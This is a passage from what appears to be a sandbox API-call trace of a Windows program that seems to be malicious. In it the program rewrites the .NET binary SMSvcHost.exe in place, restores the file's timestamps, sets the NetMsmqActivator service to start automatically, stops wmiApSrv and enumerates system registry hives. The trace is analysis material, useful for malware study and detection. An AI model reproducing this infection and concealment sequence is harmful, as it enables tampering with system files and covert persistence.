cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0228.526] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0228.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0228.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0228.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0228.526] LocalFree (hMem=0x7f03d0) returned 0x0 [0228.527] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0228.527] OpenServiceW (hSCManager=0x803918, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x2) returned 0x8038a0 [0228.529] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0228.545] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0228.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0228.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0228.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0228.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0228.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.546] RegCloseKey (hKey=0xc4) returned 0x0 [0228.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.546] RegCloseKey (hKey=0x148) returned 0x0 [0228.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0228.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0228.546] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.546] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0228.546] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0228.546] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x44000 [0228.546] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0228.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x29f0048 [0228.550] ReadFile (in: hFile=0x148, lpBuffer=0x29f0048, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x29f0048*, lpNumberOfBytesRead=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0228.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x2a34050 [0228.558] SetEndOfFile (hFile=0x148) returned 1 [0228.558] GetFileTime (in: hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe2894000, dwHighDateTime=0x1d0aa22)) returned 1 [0228.559] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0228.559] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0228.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.559] NtClose (Handle=0x148) returned 0x0 [0228.559] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.559] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0228.559] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0228.559] WriteFile (in: hFile=0x148, lpBuffer=0x2a34050*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2a34050*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0228.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.562] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0228.562] NtClose (Handle=0x148) returned 0x0 [0228.562] OpenServiceW (hSCManager=0x803918, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x10) returned 0x803990 [0228.563] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0228.563] GetLastError () returned 0x433 [0228.563] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2a34050) returned 1 [0228.566] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.567] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.567] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.567] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x8038a0 [0228.567] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0228.568] GetLastError () returned 0x425 [0228.568] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.568] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.568] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.568] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.569] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.569] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.569] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.570] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.570] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.570] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1970, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.572] RtlFreeHeap 